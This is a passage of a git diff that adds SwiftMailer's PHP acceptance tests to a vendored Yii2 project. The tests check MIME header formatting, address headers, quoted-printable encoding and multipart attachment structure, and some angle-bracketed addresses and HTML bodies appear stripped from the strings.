'Content-Type: text/plain; delsp=yes'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foobar', + $part->toString() + ); + } + + public function testAll3ParamsInHeaders() + { + $part = $this->_createMimePart(); + $part->setContentType('text/plain'); + $part->setCharset('utf-8'); + $part->setFormat('fixed'); + $part->setDelSp(true); + $part->setBody('foobar'); + $this->assertEquals( + 'Content-Type: text/plain; charset=utf-8; format=fixed; delsp=yes'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foobar', + $part->toString() + ); + } + + public function testBodyIsCanonicalized() + { + $part = $this->_createMimePart(); + $part->setContentType('text/plain'); + $part->setCharset('utf-8'); + $part->setBody("foobar\r\rtest\ning\r"); + $this->assertEquals( + 'Content-Type: text/plain; charset=utf-8'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + "foobar\r\n". + "\r\n". + "test\r\n". + "ing\r\n", + $part->toString() + ); + } + + // -- Private helpers + + protected function _createMimePart() + { + $entity = new Swift_Mime_MimePart( + $this->_headers, + $this->_contentEncoder, + $this->_cache, + $this->_grammar + ); + + return $entity; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/SimpleMessageAcceptanceTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/SimpleMessageAcceptanceTest.php new file mode 100644 index 00000000..16760471 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/acceptance/Swift/Mime/SimpleMessageAcceptanceTest.php @@ -0,0 +1,1251 @@ +setCharset(null); //TODO: Test with the charset defined + } + + public function testBasicHeaders() + { + /* -- RFC 2822, 3.6. + */ + + $message = $this->_createMessage(); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString(), + '%s: Only required headers, and non-empty headers should be displayed' + ); + } + + public function testSubjectIsDisplayedIfSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testDateCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $id = $message->getId(); + $message->setDate(1234); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', 1234)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testMessageIdCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setId('foo@bar'); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: '."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testContentTypeCanBeChanged() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setContentType('text/html'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/html'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testCharsetCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setContentType('text/html'); + $message->setCharset('iso-8859-1'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/html; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testFormatCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFormat('flowed'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain; format=flowed'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testEncoderCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setContentType('text/html'); + $message->setEncoder( + new Swift_Mime_ContentEncoder_PlainContentEncoder('7bit') + ); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/html'."\r\n". + 'Content-Transfer-Encoding: 7bit'."\r\n", + $message->toString() + ); + } + + public function testFromAddressCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom('chris.corbyn@swiftmailer.org'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: chris.corbyn@swiftmailer.org'."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testFromAddressCanBeSetWithName() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris Corbyn')); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testMultipleFromAddressesCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn', + 'mark@swiftmailer.org', + )); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn , mark@swiftmailer.org'."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testReturnPathAddressCanBeSet() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testEmptyReturnPathHeaderCanBeUsed() + { + $message = $this->_createMessage(); + $message->setReturnPath(''); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Return-Path: <>'."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testSenderCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setSender('chris.corbyn@swiftmailer.org'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Sender: chris.corbyn@swiftmailer.org'."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testSenderCanBeSetWithName() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setSender(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Sender: Chris '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testReplyToCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $message->setReplyTo(array('chris@w3style.co.uk' => 'Myself')); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris '."\r\n". + 'Reply-To: Myself '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testMultipleReplyAddressCanBeUsed() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $message->setReplyTo(array( + 'chris@w3style.co.uk' => 'Myself', + 'my.other@address.com' => 'Me', + )); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris '."\r\n". + 'Reply-To: Myself , Me '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testToAddressCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $message->setReplyTo(array( + 'chris@w3style.co.uk' => 'Myself', + 'my.other@address.com' => 'Me', + )); + $message->setTo('mark@swiftmailer.org'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris '."\r\n". + 'Reply-To: Myself , Me '."\r\n". + 'To: mark@swiftmailer.org'."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testMultipleToAddressesCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $message->setReplyTo(array( + 'chris@w3style.co.uk' => 'Myself', + 'my.other@address.com' => 'Me', + )); + $message->setTo(array( + 'mark@swiftmailer.org', 'chris@swiftmailer.org' => 'Chris Corbyn', + )); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris '."\r\n". + 'Reply-To: Myself , Me '."\r\n". + 'To: mark@swiftmailer.org, Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testCcAddressCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $message->setReplyTo(array( + 'chris@w3style.co.uk' => 'Myself', + 'my.other@address.com' => 'Me', + )); + $message->setTo(array( + 'mark@swiftmailer.org', 'chris@swiftmailer.org' => 'Chris Corbyn', + )); + $message->setCc('john@some-site.com'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris '."\r\n". + 'Reply-To: Myself , Me '."\r\n". + 'To: mark@swiftmailer.org, Chris Corbyn '."\r\n". + 'Cc: john@some-site.com'."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testMultipleCcAddressesCanBeSet() + { + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $message->setReplyTo(array( + 'chris@w3style.co.uk' => 'Myself', + 'my.other@address.com' => 'Me', + )); + $message->setTo(array( + 'mark@swiftmailer.org', 'chris@swiftmailer.org' => 'Chris Corbyn', + )); + $message->setCc(array( + 'john@some-site.com' => 'John West', + 'fred@another-site.co.uk' => 'Big Fred', + )); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris '."\r\n". + 'Reply-To: Myself , Me '."\r\n". + 'To: mark@swiftmailer.org, Chris Corbyn '."\r\n". + 'Cc: John West , Big Fred '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testBccAddressCanBeSet() + { + //Obviously Transports need to setBcc(array()) and send to each Bcc recipient + // separately in accordance with RFC 2822/2821 + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $message->setReplyTo(array( + 'chris@w3style.co.uk' => 'Myself', + 'my.other@address.com' => 'Me', + )); + $message->setTo(array( + 'mark@swiftmailer.org', 'chris@swiftmailer.org' => 'Chris Corbyn', + )); + $message->setCc(array( + 'john@some-site.com' => 'John West', + 'fred@another-site.co.uk' => 'Big Fred', + )); + $message->setBcc('x@alphabet.tld'); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris '."\r\n". + 'Reply-To: Myself , Me '."\r\n". + 'To: mark@swiftmailer.org, Chris Corbyn '."\r\n". + 'Cc: John West , Big Fred '."\r\n". + 'Bcc: x@alphabet.tld'."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testMultipleBccAddressesCanBeSet() + { + //Obviously Transports need to setBcc(array()) and send to each Bcc recipient + // separately in accordance with RFC 2822/2821 + $message = $this->_createMessage(); + $message->setSubject('just a test subject'); + $message->setFrom(array('chris.corbyn@swiftmailer.org' => 'Chris')); + $message->setReplyTo(array( + 'chris@w3style.co.uk' => 'Myself', + 'my.other@address.com' => 'Me', + )); + $message->setTo(array( + 'mark@swiftmailer.org', 'chris@swiftmailer.org' => 'Chris Corbyn', + )); + $message->setCc(array( + 'john@some-site.com' => 'John West', + 'fred@another-site.co.uk' => 'Big Fred', + )); + $message->setBcc(array('x@alphabet.tld', 'a@alphabet.tld' => 'A')); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris '."\r\n". + 'Reply-To: Myself , Me '."\r\n". + 'To: mark@swiftmailer.org, Chris Corbyn '."\r\n". + 'Cc: John West , Big Fred '."\r\n". + 'Bcc: x@alphabet.tld, A '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n", + $message->toString() + ); + } + + public function testStringBodyIsAppended() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + $message->setBody( + 'just a test body'."\r\n". + 'with a new line' + ); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'just a test body'."\r\n". + 'with a new line', + $message->toString() + ); + } + + public function testStringBodyIsEncoded() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + $message->setBody( + 'Just s'.pack('C*', 0xC2, 0x01, 0x01).'me multi-'."\r\n". + 'line message!' + ); + $id = $message->getId(); + $date = $message->getDate(); + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: text/plain'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'Just s=C2=01=01me multi-'."\r\n". + 'line message!', + $message->toString() + ); + } + + public function testChildrenCanBeAttached() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + + $id = $message->getId(); + $date = $message->getDate(); + $boundary = $message->getBoundary(); + + $part1 = $this->_createMimePart(); + $part1->setContentType('text/plain'); + $part1->setCharset('iso-8859-1'); + $part1->setBody('foo'); + + $message->attach($part1); + + $part2 = $this->_createMimePart(); + $part2->setContentType('text/html'); + $part2->setCharset('iso-8859-1'); + $part2->setBody('test foo'); + + $message->attach($part2); + + $this->assertEquals( + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.date('r', $date)."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/plain; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/html; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'test foo'. + "\r\n\r\n". + '--'.$boundary.'--'."\r\n", + $message->toString() + ); + } + + public function testAttachmentsBeingAttached() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + + $part = $this->_createMimePart(); + $part->setContentType('text/plain'); + $part->setCharset('iso-8859-1'); + $part->setBody('foo'); + + $message->attach($part); + + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setFilename('foo.pdf'); + $attachment->setBody(''); + + $message->attach($attachment); + + $this->assertRegExp( + '~^'. + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/mixed;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="(.*?)"'."\r\n". + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: text/plain; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + "\r\n\r\n". + '--\\1--'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename=foo.pdf'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D', + $message->toString() + ); + } + + public function testAttachmentsAndEmbeddedFilesBeingAttached() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + + $part = $this->_createMimePart(); + $part->setContentType('text/plain'); + $part->setCharset('iso-8859-1'); + $part->setBody('foo'); + + $message->attach($part); + + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setFilename('foo.pdf'); + $attachment->setBody(''); + + $message->attach($attachment); + + $file = $this->_createEmbeddedFile(); + $file->setContentType('image/jpeg'); + $file->setFilename('myimage.jpg'); + $file->setBody(''); + + $message->attach($file); + + $cid = $file->getId(); + + $this->assertRegExp( + '~^'. + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/mixed;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="(.*?)"'."\r\n". + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: text/plain; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: multipart/related;'."\r\n". + ' boundary="(.*?)"'."\r\n". + "\r\n\r\n". + '--\\2'."\r\n". + 'Content-Type: image/jpeg; name=myimage.jpg'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=myimage.jpg'."\r\n". + 'Content-ID: <'.$cid.'>'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--\\2--'."\r\n". + "\r\n\r\n". + '--\\1--'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename=foo.pdf'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D', + $message->toString() + ); + } + + public function testComplexEmbeddingOfContent() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setFilename('foo.pdf'); + $attachment->setBody(''); + + $message->attach($attachment); + + $file = $this->_createEmbeddedFile(); + $file->setContentType('image/jpeg'); + $file->setFilename('myimage.jpg'); + $file->setBody(''); + + $part = $this->_createMimePart(); + $part->setContentType('text/html'); + $part->setCharset('iso-8859-1'); + $part->setBody('foo '); + + $message->attach($part); + + $cid = $file->getId(); + + $this->assertRegExp( + '~^'. + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/mixed;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: multipart/related;'."\r\n". + ' boundary="(.*?)"'."\r\n". + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: text/html; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo './/=3D is just = in QP + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: image/jpeg; name=myimage.jpg'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=myimage.jpg'."\r\n". + 'Content-ID: <'.$cid.'>'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--\\1--'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: application/pdf; name=foo.pdf'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: attachment; filename=foo.pdf'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D', + $message->toString() + ); + } + + public function testAttachingAndDetachingContent() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + + $id = $message->getId(); + $date = preg_quote(date('r', $message->getDate()), '~'); + $boundary = $message->getBoundary(); + + $part = $this->_createMimePart(); + $part->setContentType('text/plain'); + $part->setCharset('iso-8859-1'); + $part->setBody('foo'); + + $message->attach($part); + + $attachment = $this->_createAttachment(); + $attachment->setContentType('application/pdf'); + $attachment->setFilename('foo.pdf'); + $attachment->setBody(''); + + $message->attach($attachment); + + $file = $this->_createEmbeddedFile(); + $file->setContentType('image/jpeg'); + $file->setFilename('myimage.jpg'); + $file->setBody(''); + + $message->attach($file); + + $cid = $file->getId(); + + $message->detach($attachment); + + $this->assertRegExp( + '~^'. + 'Return-Path: '."\r\n". + 'Message-ID: <'.$id.'>'."\r\n". + 'Date: '.$date."\r\n". + 'Subject: just a test subject'."\r\n". + 'From: Chris Corbyn '."\r\n". + 'MIME-Version: 1.0'."\r\n". + 'Content-Type: multipart/alternative;'."\r\n". + ' boundary="'.$boundary.'"'."\r\n". + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: text/plain; charset=iso-8859-1'."\r\n". + 'Content-Transfer-Encoding: quoted-printable'."\r\n". + "\r\n". + 'foo'. + "\r\n\r\n". + '--'.$boundary."\r\n". + 'Content-Type: multipart/related;'."\r\n". + ' boundary="(.*?)"'."\r\n". + "\r\n\r\n". + '--\\1'."\r\n". + 'Content-Type: image/jpeg; name=myimage.jpg'."\r\n". + 'Content-Transfer-Encoding: base64'."\r\n". + 'Content-Disposition: inline; filename=myimage.jpg'."\r\n". + 'Content-ID: <'.$cid.'>'."\r\n". + "\r\n". + preg_quote(base64_encode(''), '~'). + "\r\n\r\n". + '--\\1--'."\r\n". + "\r\n\r\n". + '--'.$boundary.'--'."\r\n". + '$~D', + $message->toString(), + '%s: Attachment should have been detached' + ); + } + + public function testBoundaryDoesNotAppearAfterAllPartsAreDetached() + { + $message = $this->_createMessage(); + $message->setReturnPath('chris@w3style.co.uk'); + $message->setSubject('just a test subject'); + $message->setFrom(array( + 'chris.corbyn@swiftmailer.org' => 'Chris Corbyn',)); + + $id = $message->getId(); + $date = $message->getDate(); + $boundary = $message->getBoundary(); + + $part1 = $this->_createMimePart(); + $part1->setContentType('text/plain'); + $part1->setCharset('iso-8859-1'); + $part1->setBody('foo'); + + $message->attach($part1); + + $part2 = $this->_createMimePart(); + $part2->setContentType('text/html'); + $part2->setCharset('iso-8859-1'); + $part2->setBody('test foo'); + + 